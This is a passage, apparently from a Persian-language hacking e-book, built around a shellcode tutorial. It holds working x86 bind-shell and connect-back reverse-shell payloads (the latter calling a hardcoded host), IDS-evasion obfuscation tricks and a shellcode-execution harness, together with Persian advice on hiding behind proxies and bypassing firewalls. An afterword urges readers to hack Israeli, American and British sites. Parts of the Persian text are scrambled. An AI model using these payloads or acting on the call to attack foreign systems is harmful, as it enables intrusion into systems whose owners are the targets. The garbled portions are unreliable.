xor eax,eax ; Now we will create the sockaddr_in structure 
mov byte [esi + 9],0x02 ; This equals: serv_addr.sin_family=2 
mov word [esi + 10],0xAAAA ; This equals: serv_addr.sin_port=0xAAAA 
mov long [esi + 12],eax ; This equals: serv_addr.sin_addr.s_addr=0 
push byte 0x10 ; We now start with pushing the arguments, 0x10 is 
the 3e one. 
lea eax,[esi + 8] ; Get the address of our structure, arg 2 of bind() 
is a pointer. 
push eax ; And push it on the stack, our second argument is 
a fact 
push edx ; And we push the last argument, the file 
descriptor, on the stack 
xor eax,eax ; Clean up 
mov al,104 ; System call 104 represents bind. 
push eax ; 
int 0x80 ; And call the kernel 
; 
; Next code: listen(soc,1); 
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push byte 0x1 ; We push the first argument on the stack 
push edx ; We push the filedescriptor that is still stored 
in the edx register 
xor eax,eax ; Cleanup 
mov al,106 ; System call 106 represents listen 
push eax ; 
int 0x80 ; And call the kernel 
; 
; Next code: accept(soc,0,0); 
xor eax,eax ; We need zero's for the arguments. 
push eax ; Push the last argument, a zero 
push eax ; Push the second argument, another zero 
push edx ; Push the first argument, the file descriptor of 
our socket 
mov al,30 ; Define the system call we like to use, accept() 
push eax ; 
int 0x80 ; And call the kernel to process our data 
; 
; Next code: dup2(cli,0) , dup2(cli,1) and 
dup2(cli,2) 
; We will do this in a loop since this creates 
smaller code. 
mov cl,3 ; Define our counter = 3 
mov ebx,-1 ; The C code for our loop is: b = -1; for(int i 
=3;i>0;i--) { dup(cli,++b) }; 
mov edx,eax ; We store the file descriptor from accept() in 
edx. 
; 
l00p: ; The loop code starts here. 
inc ebx ; This is the instead of the ++b code 
push ebx ; We push this value first because it represents 
the last argument 
push edx ; We push the second argument, the file descriptor 
from accept() 
mov al,90 ; We define the system call 
push eax ; 
int 0x80 ; And call the kernel to execute 
sub cl, 1 ; Substract 1 from cl 
jnz l00p ; This will continue the loop if cl != 0 
; 
; Next the execve of /bin/sh 
xor eax,eax ; First we create some zero's 
push eax ; The 3e argument == NULL 
push eax ; So is the second 
push esi ; The first argument is a pointer to our string 
/bin/sh 
mov al,59 ; We define the system call, execve. 
push eax ; 
int 0x80 ; And execute 
callit: 
call doit 
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db '/bin/sh' 
And again the most important part, the result: 
char shellcode[] = 
"\xeb\x6a\x5e\x31\xc0\x31\xdb\x88\x46\x07\xb0\x02\xcd\x80\x6a" 
"\x06\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6" 
"\x46\x09\x02\x66\xc7\x46\x0a\xaa\xaa\x89\x46\x0c\x6a\x10\x8d" 
"\x46\x08\x50\x52\x31\xc0\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31" 
"\xc0\xb0\x6a\x50\xcd\x80\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd" 
"\x80\xb1\x03\xbb\xff\xff\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a" 
"\x50\xcd\x80\x80\xe9\x01\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b" 
"\x50\xcd\x80\xe8\x91\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" 
 

  لينوکس عامل  سيستمport binding  برای shellcode يک 
  

 
Linux socket code is a bit different then the BSD one. The problem is that linux has one socket system 
call that can be used to query other socket functions (an API) This system call is called 'socketcall' and is 
executed with two arguments. The first argument is a number that represent a socket function (such as 
listen()). The second argument is a pointer to an array that contains the argument that have to be given to 
the by the first argument defined function.. ;-) Not very useful for shellcode development. 
 
Socketcall is called like this: 
 
socketcall(<function number>,<arguments for that function>) 
Below are the available function numbers: 
SYS_SOCKET 1 
SYS_BIND 2 
SYS_CONNECT 3 
SYS_LISTEN 4 
SYS_ACCEPT 5 
SYS_GETSOCKNAME 6 
SYS_GETPEERNAME 7 
SYS_SOCKETPAIR 8 
SYS_SEND 9 
SYS_RECV 10 
SYS_SENDTO 11 
SYS_RECVFROM 12 
SYS_SHUTDOWN 13 
SYS_SETSOCKOPT 14 
SYS_GETSOCKOPT 15 
SYS_SENDMSG 16 
SYS_RECVMSG 17 
And ofcourse the implementation: 
BITS 32 
xor eax, eax ; NULL eax 
inc eax ; eax represents 1 now 
mov long [esi +12],eax ; 
mov ebx,eax 
inc eax 
mov long [esi +8],eax 
add al,0x04 
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mov long [esi +16],eax 
lea ecx,[esi +8] 
mov al,102 ; 102 == socketcall 
int 0x80 ; call the kernel 
mov edx,eax ; store the file descriptor in edx 
xor eax, eax ; Null eax 
; Now lets make the serv_addr struct 
mov byte [esi + 8],0x02 ; This equals: serv_addr.sin_family=2 
mov word [esi + 10],0xAAAA ; This equals: serv_addr.sin_port=0xAAAA 
mov long [esi + 12],eax ; This equals: serv_addr.sin_addr.s_addr=0 
mov long [esi + 17],edx ; edx the file descriptor 
lea ecx,[esi + 8] ; load effective address of the struct 
mov long [esi + 21],ecx ; and store it in [esi + 21] 
inc ebx 
mov ecx,ebx 
add cl,14 
mov long [esi + 25],ecx 
lea ecx,[esi +17] 
mov al,102 
int 0x80 
mov al,102 
inc ebx 
inc ebx 
int 0x80 
xor eax,eax 
inc ebx 
mov long [esi + 21],eax 
mov long [esi + 25],eax 
mov al,102 
int 0x80 
mov ebx,eax ; Save the file descriptor in ebx 
xor eax,eax ; NULL eax 
mov long [esi + 12], eax ; 
mov ecx,eax ; 0 == stdin 
mov al,63 ; dub2() 
int 0x80 ; Call kernel 
inc ecx ; 1 == stdout 
mov al,63 ; dub2() 
int 0x80 ; Call kernel 
inc ecx ; 2 == stderr 
mov al,63 ; dub2() 
int 0x80 ; Call kernel 
; From here it is just a matter of 
jmp short callit ; executing a shell (/bin/bash) 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 9], al 
lea ebx, [esi] 
mov long [esi + 11], ebx 
mov long [esi + 15], eax 
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mov byte al, 0x0b 
mov ebx, esi 
lea ecx, [esi + 11] 
lea edx, [esi + 15] 
int 0x80 
callit: 
call doit 
db '/bin/bash' 

  
shell codeدر ارتباط برقراری نحوه به  مربوط BSD  

  
  

In this example we will see how to create shellcode that creates a shell, which connects back to a host you 
control. You'll be able to catch the shell by using a tool such as netcat.In this shellcode you will have to 
hardcode an IP address to connect to. It is also possible to add this ip address at the runtime of the exploit 
(which is a good idea). Please remember to convert the IP address ! for testing puposes the assembly and 
shellcode below will connect to 10.6.12.33 (an machine in my tiny test lab) on port 43690. Within the 
code this IP address is converted to: 0x210c060a . You can obtain this hex value pretty easily with perl: 
 
su-2.05a# perl -e 'printf "0x" . "%02x"x4 ."\n",33,12,6,10' 
0x210c060a 
 
Just make sure you reverse the IP address like I did with 10.6.12.33. The C code on which the 
 
assembly is based: 
#include<unistd.h> 
#include<sys/socket.h> 
#include<netinet/in.h> 
int soc,rc; 
struct sockaddr_in serv_addr; 
int main() 
{ 
serv_addr.sin_family=2; 
serv_addr.sin_addr.s_addr=0x210c060a; 
serv_addr.sin_port=0xAAAA; /* port 43690 */ 
soc=socket(2,1,6); 
rc = connect(soc, (struct sockaddr *)&serv_addr,0x10); 
dup2(soc,0); 
dup2(soc,1); 
dup2(soc,2); 
execve("/bin/sh",0,0); 
} 
And the assembly implementation: 
BITS 32 
jmp short callit 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 7], al 
; Next code: 
socket(2,1,6) 
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push byte 0x06 ; The 3e argument 
push byte 0x01 ; The 2e argument 
push byte 0x02 ; The 1e argument 
mov al,97 ; The system call number 
push eax ; 
int 0x80 ; And call the kernel 
; 
; Next code: connect(soc,(struct sockaddr 
*)&serv_addr,0x10); 
mov edx,eax ; We store the file descriptor that was returned 
from socket() in edx 
xor eax,eax ; Now we will create the sockaddr_in structure 
mov byte [esi + 9],0x02 ; This equals: serv_addr.sin_family=2 
mov word [esi + 10],0xAAAA ; This equals: serv_addr.sin_port=0xAAAA /* port 
43690 */ 
mov long [esi + 12],0x210c060a ; This equals: serv_addr.sin_addr.s_addr=0x210c060a 
push byte 0x10 ; We now start with pushing the arguments, 0x10 is 
the 3e one. 
lea eax,[esi + 8] ; Get the address of our structure, arg 2 of bind() 
is a pointer. 
push eax ; And push it on the stack, our second argument is 
a fact 
push edx ; And we push the last argument, the file 
descriptor, on the stack 
xor eax,eax ; Clean up 
mov al,98 ; System call 98 represents connect. 
push eax ; 
int 0x80 ; And call the kernel 
; 
; Next code: dup2(cli,0) , dup2(cli,1) and 
dup2(cli,2) 
; We will do this in a loop since this creates 
smaller code. 
mov cl,3 ; Define our counter = 3 
mov ebx,-1 ; The C code for our loop is: b = -1; for(int i 
=3;i>0;i--) { dup(cli,++b) }; 
; 
l00p: ; The loop code starts here. 
inc ebx ; This is the instead of the ++b code 
push ebx ; We push this value first because it represents 
the last argument 
push edx ; We push the second argument, the file descriptor 
from accept() 
mov al,90 ; We define the system call 
push eax ; 
int 0x80 ; And call the kernel to execute 
sub cl, 1 ; Substract 1 from cl 
jnz l00p ; This will continue the loop if cl != 0 
; 
; Next the execve of /bin/sh 
xor eax,eax ; First we create some zero's 
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push eax ; The 3e argument == NULL 
push eax ; So is the second 
push esi ; The first argument is a pointer to our string 
/bin/sh 
mov al,59 ; We define the system call, execve. 
push eax ; 
int 0x80 ; And execute 
callit: 
call doit 
db '/bin/sh' 
Shellcode generated from this assembly code will look like this. I have made the IP 
address bold so 
you'll known where to search for it if you need to change it. 
char shellcode[] = 
"\xeb\x52\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0" 
"\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46" 
"\x0a\xaa\xaa\xc7\x46\x0c\x0a\x06\x0c\x21\x6a\x10\x8d\x46\x08" 
"\x50\x52\x31\xc0\xb0\x62\x50\xcd\x80\xb1\x03\xbb\xff\xff\xff" 
"\xff\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01\x75\xf3\x31" 
"\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xa9\xff\xff\xff\x2f" 
"\x62\x69\x6e\x2f\x73\x68"; 

  
   shellcode ساخت رد ترفند چند

  
  
 

In some cases the buffer that causes the overflow is manipulated by the vulnerable program. This happens 
more often then you might think and makes exploiting overflows more difficult and often more fun !. For 
example many programs filter dots and slashes. Oh my GOD !! isn't there something we can do about this 
? yes there is ;-) We can use the almighty 'inc' operator to increase the hex value of our ascii character. 
Below 
is a simple example that illustrates how to do this but first a part from Intel's description of 'inc'. 
 
Adds 1 to the destination operand, while preserving the state of the CF flag. The destination operand can 
be a register or a memory location. 
 
Now an example in how to do this. Let's say we have the string:  
 
db 'ABCD'  
 
 
We can change B in to a C by using: 
 
inc byte [esi + 2] 
 
So what this does is the hex value of B is changed from 42 to 43 which represents C. A working example 
of the assembly code required to do this: 
 
BITS 32 
 
jmp short callit 
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doit: 
 
pop esi 
xor eax, eax 
mov byte [esi + 7], al 
mov byte [esi + 10], al 
mov long [esi + 11], esi 
lea ebx, [esi + 8] 
mov long [esi + 15], ebx 
mov long [esi + 19], eax 
inc byte [esi] ; Now we have /bin.sh 
inc byte [esi + 4] ; Now we have /bin/sh 
mov byte al, 0x0b 
mov ebx, esi 
lea ecx, [esi + 11] 
lea edx, [esi + 19] 
int 0x80 
callit: 
call doit 
db '.bin.sh#-i#AAAABBBBCCCC' 
 
This can also be done to obfuscate parts of shellcode that might trigger IDS signatures. Incstructions such 
as ADD, SUB INC and DEC can be useful for this. By using a loop you can recover strings at run time 
and by doing so you might be able get undetected by an IDS or atleast, lower the risk of detection. Have a 
look at the following example: 
 
BITS 32 
jmp short callit 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 7], al 
lea ebx, [esi] 
mov long [esi + 8], ebx 
mov long [esi + 12], eax 
mov cl,7 ; The loop begins here, we will loop 7 times 
change: 
dec byte [esi + ecx - 1 ] ; Change the byte on the right location 
sub cl, 1 ; Update the counter 'cl' 
jnz change ; Verify if we should break the loop 
mov byte al, 0x0b 
mov ebx, esi 
lea ecx, [esi + 8] 
lea edx, [esi + 12] 
int 0x80 
callit: 
call doit 
db '0cjo0ti#AAAABBBB' 
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The extra -1 in the line "dec byte [esi + ecx - 1 ]" is to make sure we als change the byte [esi + 0]. The 
above assembly code will generate shell code that changes the string '0cjo0ti' to '/bin/sh' and which will 
then do an execve of it. The end result (after removing the #AAAABBB chars) will be: 
 
char shellcode[] = 
"\xeb\x25\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" 
"\x0c\xb1\x07\xfe\x4c\x0e\xff\x80\xe9\x01\x75\xf7\xb0\x0b\x89" 
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd6\xff\xff\xff\x30" 
"\x63\x6a\x6f\x30\x74\x69"; 
 
A nice FreeBSD example to hide the /bin/sh string in simple execve shellcode: 
BITS 32 
 
mov byte [esi + 5],0x73 
mov byte [esi + 1],0x62 
mov byte [esi],0x2f 
xor eax, eax 
mov byte [esi + 7], al 
mov byte [esi + 2],0x69 
push eax 
mov byte [esi + 6],0x68 
push eax 
mov byte [esi + 4],0x2f 
push esi 
mov byte [esi + 3],0x6e 
mov al,59 
push eax 
int 0x80 
 
So the string /bin/sh is build character for character and not in the correct order. This will make it very 
hard for IDS's to detect the existance of the string! By creating an exploit that would shift the bold made 
code during execution you could make it extra hard to detect. 
 
char shellcode[] = 
"\xc6\x46\x05\x73\xc6\x46\x01\x62\xc6\x06\x2f\x31\xc0\x88\x46" 
"\x07\xc6\x46\x02\x69\x50\xc6\x46\x06\x68\x50\xc6\x46\x04\x2f" 
"\x56\xc6\x46\x03\x6e\xb0\x3b\x50\xcd\x80"; 
 
A more advanced method to obfuscate your code is by encoding the shellcode and decoding it at run time. 
While this seems very hard to do, trust me it is not. If you want to encode shellcode the best way to do 
this is with some help from a simple c program. More information on doing that will be released in 
another document on safemode.org  Ofcourse these are just simples example of obfuscating code. It work 
nice but isn't really efficient. If you are really interested in this stuff, have a look at K2's  
 
work at: http://www.ktwo.ca/security.html. 
 
 
 
Trace system calls to debug assembly code: 
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When you assembly code doesn't work, don't give up because tools such as ptrace and ktrace can help you 
allot ! They can show you the exact arguments that are given to a system call, whether the system call was 
successful and if any value was returned. 
 
 For example, if the FreeBSD connect shellcode fails, you can see why! Just work like this: 
 
ktrace ./s-proc -e <compiled connect assembly code> 
kdump | more 
snip snip snip 
1830 process RET write 17/0x11 
1830 process CALL socket(0x2,0x1,0x6) 
1830 process RET socket 3 
1830 process CALL connect(0x3,0x804b061,0x10) 
1830 process RET connect -1 errno 61 Connection refused 
Aha ! Connection refused. 
If you are developing on linux then strace is defenitly your best friend ;-) 
 
Disassembling shellcode: 
 
If you want to see how someone else create shellcode there are very simple ways to 
disassemble 
it. What I normally use is a small perl script that writes the shellcode to a file. For 
example, if 
I would like to get the assembly of the following shellcode: 
char shellcode[] = 
"\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad" 
"\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80"; 
I just put it in a perl script like this: 
#!/usr/bin/perl -w 
$shellcode = 
"\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad". 
"\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80"; 
open(FILE, ">shellcode.bin"); 
print FILE "$shellcode"; 
close(FILE); 
I saved the file as ww.pl and disassembled it: 
[10:50pm lappie] ./ww.pl 
[10:50pm lappie] ndisasm -b 32 shellcode.bin 
00000000 5E pop esi 
00000001 31C0 xor eax,eax 
00000003 B024 mov al,0x24 
00000005 CD80 int 0x80 
00000007 B024 mov al,0x24 
00000009 CD80 int 0x80 
0000000B B058 mov al,0x58 
0000000D BBADDEE1FE mov ebx,0xfee1dead 
00000012 B969191228 mov ecx,0x28121969 
00000017 BA67452301 mov edx,0x1234567 
0000001C CD80 int 0x80 
Et voila, here is the assembly. Now it is really easy to determine what kind of shellcode 
this is and what technique is being used. 
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Shellcode processing program: 
 
/* 
* Generic program for testing shellcode byte arrays. 
* Created by zillion and EVL 
* 
* Safemode.org !! Safemode.org !! 
*/ 
#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <unistd.h> 
#include <errno.h> 
/* 
* Print message 
*/ 
static void 
croak(const char *msg) { 
fprintf(stderr, "%s\n", msg); 
fflush(stderr); 
} 
/* 
* Educate user. 
*/ 
static void 
usage(const char *prgnam) { 
fprintf(stderr, "\nExecute code : %s -e <file-containing-shellcode>\n", prgnam); 
fprintf(stderr, "Convert code : %s -p <file-containing-shellcode> \n\n", prgnam); 
fflush(stderr); 
exit(1); 
} 
/* 
* Signal error and bail out. 
*/ 
static void 
barf(const char *msg) { 
perror(msg); 
exit(1); 
} 
/* 
* Main code starts here 
*/ 
int 
main(int argc, char **argv) { 
FILE *fp; 
void *code; 
int arg; 
int i; 
int l; 
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int m = 15; /* max # of bytes to print on one line */ 
struct stat sbuf; 
long flen; /* Note: assume files are < 2**32 bytes long ;-) */ 
void (*fptr)(void); 
if(argc < 3) usage(argv[0]); 
if(stat(argv[2], &sbuf)) barf("failed to stat file"); 
flen = (long) sbuf.st_size; 
if(!(code = malloc(flen))) barf("failed to grab required memeory"); 
if(!(fp = fopen(argv[2], "rb"))) barf("failed to open file"); 
if(fread(code, 1, flen, fp) != flen) barf("failed to slurp file"); 
if(fclose(fp)) barf("failed to close file"); 
while ((arg = getopt (argc, argv, "e:p:")) != -1){ 
switch (arg){ 
case 'e': 
croak("Calling code ..."); 
fptr = (void (*)(void)) code; 
(*fptr)(); 
break; 
case 'p': 
printf("\n\nchar shellcode[] =\n"); 
l = m; 
for(i = 0; i < flen; ++i) { 
if(l >= m) { 
if(i) printf("\"\n"); 
printf( "\t\""); 
l = 0; 
} 
++l; 
printf("\\x%02x", ((unsigned char *)code)[i]); 
} 
printf("\";\n\n\n"); 
break; 
default : 
usage(argv[0]); 
} 
} 
return 0; 
} 

  
ه  اکسپلویت یک ومهمف و اجزا با مقاله این در باشد کرده پيدا دست مفيدی اطلاعات به اینجا با تا که اميدوارم ی  صورت  ب وری  و عمل  تئ

ه  شبکه نویسی برنامه با سپس شدید آشنا ورد  ک از  م نا  است  ني ه  در شدید  آش ه  ادام ورد  در بحث  ب ه هت م ا  shellcode  ي ان  ب  اسمبلی   زب
د .بردیم پایان به را بودند فراوانی نکات حاوی که مفيد مثال چند با را مقاله آخر در و تيمپرداخ دن  از بع ن  خوان ه  ای ا  مقال دن  ب  سورس  دی

   .باشد می علمی پشتوانه یک دارای قسمتی ره چگونه که برد يدهخوا پی آن ندههد تشکيل اجزای به اکسپلویتی ره
 

  : نکته چند
 

 ایه سيستم روی بر که باشد این بر تان سعی کنيد تست خود داخلی شبکه یک روی بر کنيد می راحیط که را اییه اکسپلویت .١
سپلویت  تست  د  آخرین  اک ی  ایه  مت ال  را امنيت د  اعم ن  دوستان  از بعضی  نمایي د  می  مطرح  را سوال  ای ه  کنن سپلویتی  ک  را اک

ن  در ما که باشيد واقف مسئله ینا به کنند نمی دریافت را نياز مورد جواب عمل در ولی کنند می طراحی ه  ای ی  اصول  مقال  کل
ی  دیگر نویسی برنامه از نوع این در دادیم شرح را نویسی اکسپلویت ين ه و اجزای وابعی  مچني رای  مه  ت ه  کردن  رد ب  ایه  لای
 با را انخودتshellcode  یک اینکه صرف به رود می کار به اه IDS و آتش ایه زدندیواره دور و کردن رد قبيل از دفاعی
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 ارتباطات از بایستی مثلا اید نرسيده کامل اکسپلویت یک به ببرید کار به اکسپلویت یک درsocket Programming  طراحی
  . نکنيد استفاده امکان حد تا TCP-UDP بر مبتنی

  
ی  ببرید کار به را Proxy از استفاده پروسه اکسپلویتتان کردن امن برای .٢ دور  حت م  اخرین  المق  Bind در IP  ست را سمت  رق

Port در موجود ایه ترفند از استفاده با را socket programming صورت به fake در شده ارائه ایه مثال به) آورید در 
 (کنيد توجه بيشتری دقت با بالا

 

 
 

نا  نيز shellcoding  ایه ترفند از تا چند با .٣ د  آن از یکی  شدید  آش ه  اه  ترفن ن  ب ود  صورت  ای ه  ب  IP خود  sdhellcode در ک
 و شد  می  داده ورود اجازه  شما  طرف از ارسالی ایه پکت به صورت این به کرید می تعریف را داخلی ایه سيستم از یکی
اربردی  و جالب  بسيار ترفند چند و چندین نميشدند بلوکه اه پکت ن  در ک ه  ای ل  زمين ه  باشد  می  ذکر  قاب تفاده  صرف  ب  یک  اس
  با بلکه نيست ایمن کامل ورط به آن غيره و آتش دیواره از شبکه

 
"\x0a\xaa\xaa\xc7\x46\x0c\x0a\x06\x0c\x21\x6a\x10\x8d\x46\x08" 
"\x50\x52\x31\xc0\xb0\x62\x50\xcd\x80\xb1\x03\xbb\xff\xff\xff" 

  
سی  هبرنام قدرت پيشرفت با است اه مشکی کلاه ی علاقه مورد ایه تکنيک از یکی این .زد دور را فایروالی ره توان می ان  نوی ا  ات  ب
 ( است شده ارائه ترفند 10 حدود در بالا ایه مثال در) . شد يدهخوا آشنا بيشتر اه ترفند این
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نا  Exploiting معروف ایه متد از یکی با شما اینجا تا ا  شدید  آش ن  اینکه  ب د  ای سيار  مت ر  ب اربرد  پ وده  ک وارد  اغلب  در و ب ر  م  روی ب

ار  این ولی است مطرح overflow در مه دیگری ایه روش نيست مه روش اهنت این ولی دهد می جواب اه سيستم ر  سرریز  ب  روی ب
ه  باشد  می  دسترس  در اه  اکسپلویت نوشتن برای بافر ریز سر ماننده دیگر متد 5 حدود در گيرد نمی صورت اه برنامه بافر  مجالی  ک
ات  جز  بعضی در اختلافشان و باشند می بافر ریز سر ماننده کلی اصول نظر از البته باشد نمی مقاله ایم در اهآن روی بر بحث برای  یي

   .نمایيم می موکول دیگر ای مقاله به نيز را ا همتد آن به پرداختن و. است خارج مقاله این علمی حوصله از که است تکنيکی
  

ا  نزدیکی  تباطار اه کد این که آنجا از کنيد کار اسمبلی ایهکد با بایستی shellcoding  گيری یاد برای .۴ زار  سخت  ب ه  اف  رایان
 بگيرید جدی را من تجربه این کنيد آزمایش ایزوله و قدیمی ایه سيستم روی بر را اتان آزمایشی ایه کد است ترهب دارند اتان
د  نوشتن  خود  است  آشغال  سطل  اتان شخصی رایانه برای مکان تریمهب انوقت در نشوید مواجه آبی مرگ صفحه با تا  ایه  ک

شان  و اهآن نوشتن ولی نيستند خطرناک عادی صورت به یاسمبل ه  اجرای اد  منظور  ب سپلویت  ایج سيار  اک اک  ب  باشد  می  خطرن
سپلویت  یک  یا shellcode یک کرد کار تست برای آزمایشات اولين در ميشهه ام تجربه طبق ه  اک ا  شده  ترجم ا  ب رو  خط  روب
ان  ایانهرreset  با اه خطا ار بعضی از بتوانيد شاید شد يدهخوا ی  شوید  خلاص  ات ا  از بعضی  از ول ه  شود  نمی  اه  خط ن  ب  ای

ی  مرگ  صفحه  یک  این که بدانيد شدید مواجه زیر تصویر با اگر ( شد خلاص مه اه راحتی د  و است  آب ه  بداني ستم  ک ان  سي  ات
   )يدهبد انتقال گورستان به باید و است شده مغزی مرگ دچار
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  شوند می سيستمی منابع خوردن ضربه باعث نشوند جراا موفقيت با که اییه اکسپلویت اغلب
  

ه  phrack  الکترونيک  مقالات از 55 مجله .۵ ن  ب ه  مطلب  ای ه وچگ ک ورد   shellcode ن ان  نظر  م  ازshell Account  یک  م
ه  شدن  طولانی از جلوگيری  جهت است شده داده قرار کند ایجاد را حمله مورد سيستم ان  مقال ن  خودت ه  ای سيار  مقال  را جالب  ب
  کنيد مطالعه و نموده دریافت
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   :سخن آخر
  

در این شيوه ، .  آموزش بدهم ،خوب دوستان من سعی کردم در این کتاب آموزش سيستماتيک حمله را به شما دوستان •
ردد که به وسيله آن متد را بلد است و فقط دنبال ماشين های خاصی ميگ) فقط یک(شما مثل یک انسان عقده ای که یک 

  )و البته باید برای شما هم صرف هم داشته باشد( متد آسيب پذیر هستند ؛ نيستيد بلکه شما با انتخاب یک هدف خاص 
کار بسيار آسان است ، و نيازی به داشتن اطلاعات آنچنانی نيز در . شروع به حمله به آن ميکنيد تا به هدف خود برسيد

د حوصله داشته باشد همين بس ، باور کنيد این مطلب خيلی راحت است اعتماد به نفس داشته مواقع ندارد فقط بای% ٩٠
، دیگه همين چند ) از مواقع% ٧٠من واقعاً تا به حال هر چه یاد گرفت ام از کتاب بوده در بيش از (باشد و مطالعه کنيد 

 .د بخوانيد خيلی به شما کمک ميکند در این راه آن را پيدا کنيE-BOOKتا کتاب پایين معرفی ميکنم اگر حوصله دارید 
فقط یک خواهش هم از شما دوستان دارم ، به جای اینکه بر روی سایت های فارسی زبان شروع به یاد گرفتن کنيد بروید 
 و روی سایت های اسرائيل و آمریکا و انگل ستان و از این قبيل کشور ها که فقط به فکر وارد کردن ضربه به ما هستند

مگر همين آمریکا و انگليسی ها همين الان نيستند که ما را از حق مشروع . ، شروع به یاد گرفتن کنيد و آنها را بپکانيد 
  .... خود در استفاده از اتم بمب  محروم کرده اند   و 

  
 یک تازه آموزش ضد   اندی صفحه یقينا تا مدهای مدیدی این کتاب     ١٢٠٠حال که الان به کتاب می نگرم خودم تعجب ميکنم ،             

ود         د ب ده      ١٢٠٠امنيت شبکه خواه دی صفحه از عه وان   ان اب های الکترونيکی      از%٩٩٫٩٩٩٩٩٩٩٩٩و ت سندگان کت   نوی
 صفحه مطلب در  ١٠٠ کار بسيار سختی است ، اگر منکر ان هستيد بنشينيد و       خارج است حتی فکر ان آدم را مدهوش ميکند ،         

  .د بنویسيد ، ان موقع به عظمت کار من پی خواهيد برد یک باب که به شدت به آن مسلط هستي
  

د      ٣٠٠به جرات ميگویم شما هر کتابی در باره هر کدام از علوم کامپيوتر بخرید که اگر حول هوش                      •  صفحه باشد بای
ان فارسی وجود             ۴٠٠٠ یا   ٣٠٠٠ ه زب  تومان بپردازید اما من این کتاب را که بسياری از مطالب آن حتی در شبکه ب

رای   ... رد تهيه کرده و به رایگان در اختيار شما عزیزان ميگذارم ، به دون هيچ منت ، بدون هيچ                  ندا ط ب دیگری ، فق
ه          .  رضای خدا در اختيار شما دوستان ميگذارم         ی ک ه شما عزیزان من حداکثر تا چند ماه دیگر بيشتر نيستم ، و از هم

د ، من    این کتاب را ميخوانيد و چيزی از ان یاد ميگيرید ،            تقاضای عاجزانه دارم ، برای من از خدا طلب بخشش کني
ه              ال در شبکه ب نمی خواستم به شما کاری یاد بدهم که برایم گناه به بار بياورد ، مثلا در قسمت حمله به مودم های فع

ل               ه دلي د ک ا آن را کشف کني د ی م واضح   شما یاد ندادم که چگونه اگر از شما کلمه عبور خواست آن را دور بزني آن ه
اد است      ..... بود چون فردا یک عده آدم از خدا بی خبر بی آیند و ملت را به خاک سياه                    سيار زی وارد ب . از این قبيل م

  . ولی برای یک نفوذ گر شدن راه را به شما نشان داده ام 
  

و ر خود می ايستادن     بسيار خسته ام و بسيار دل شکسته ، اندک افرادی بودند که به من کمک کردن و پای قول قرا                    •
از اين ها که بگذريم چيزی که در اين مدت بيشتر از هر چيز بعد از جسم من ، مرا آزار ميداد ياوه               ... اکثر افراد هم    

ه و دل سرد   ... گويی های عده ای ابله و نفهم و کودن بود ، اين افراد که ادعای شان    خر را هم پاره ميکند جز طعن
د و    کردن آدم چيز ديگری بلد       اد ميگيرن نبودن ، جالب اينجا است که همين عوضی ها اين کتاب را ميخوانند و چيز ي

ا بگويم                 ! برای من باز زرزر ميکنند       ه آنه ا ب آوردم ت ا مي ا را اينج ن حرف ه د اي ی باي آری من از کوره در رفتم  ول
  . نم من از شما دوستان عذر ميخواهم اما چه ک. حس تنفر من از آنها چقدر زياد است 

  
***  

کمک کردن و گامی هر چند کوچک یا بزرگ  چه ناخواسته  وچه خواسته به پایان مقاله رسيدیم لازم از کسانی که در تهيه این کتاب
برداشتن تقدیر کنم ، البته ليست پایين کامل نيست و اميد است عزیزانی که اسم آنها در ليست نيست ما را به جهت این سهل انگاری غير 

  .ورد عطوفت و بخشش خود قرار دهند عمدی م
  

  :آقايان 
  

  )C0llect0r( محمد مسافر  ℘

  بهرنگ فولادی  ℘

  محمد رضا شاهينی  ℘

  کيانوش مرادیان  ℘

  حامد بنایی  ℘
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  هومن آتشبار  ℘

  حسن عسگری  ℘

  مهدی سعادت  ℘

  مهدی محمدی  ℘

  علی نژاد مزارع ℘

  مهرداد بخشی  ℘

  مهران طاهری  ℘

 فرهاد جعفری ℘

 احسان معلميان  ℘

  ....و ℘
  

  !!خانم ها  
  

  )چه بهتر!!!! (ما خواستم اسمشان بی آریم ولی خودشان اجازه ندادند  ℘
  

  :منابع 
  

 از منابع است در واقع منابع اصلی که شالوده از آنها ۴/٣البته این ها همه منابع نيست بلکه (منابع مورد استفاده در تهيه این کتاب 
  ) :گرفته شده است 

  
  

  

  
  

Hacking Linux Exposed 
  

  

  
  

NeWT 2.1 User Guide  

  
  
  

100 Linux tips and tricks 
  

  

  
  

Hack note windows security  
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Nessus Network Auditing 
  

  
  

Linux IP Networking  
  

  

  
  

Zero-Day Exploit  
  

  

  
  

Hack note  web  security  
  

  

  
  

Buffer overflow Attacks  
  

  

  
  

Hackers’ Network Security Handbook  
  

  

  
  

Hacking : The Art of Exploitation 
  

  

  
  

Hack Attacks Revealed 
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Anti-Hacker Toll Kit 

 
 

Linux Desktop Hack 
 

 

 
 

Hack Proofing 
 

 

 
 

Word Hack 
 

 

 
 

The Art OF Deception 
 

 

 
 

Security Warrior 
 

 

 
 

Encyclopedia Net Working 
 

 

 
 

Hacking Exposed 
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Security +  
 

 
 

Google Hack 

 

 
 

Hack Proofing Linux 
 

 

 
 
 
 

 

 
 

Web Application Security 
 

 

 
 

Building Secure Servers with Linux 
 

 

 
 

Linux Server Hacks 
 

 

 
 

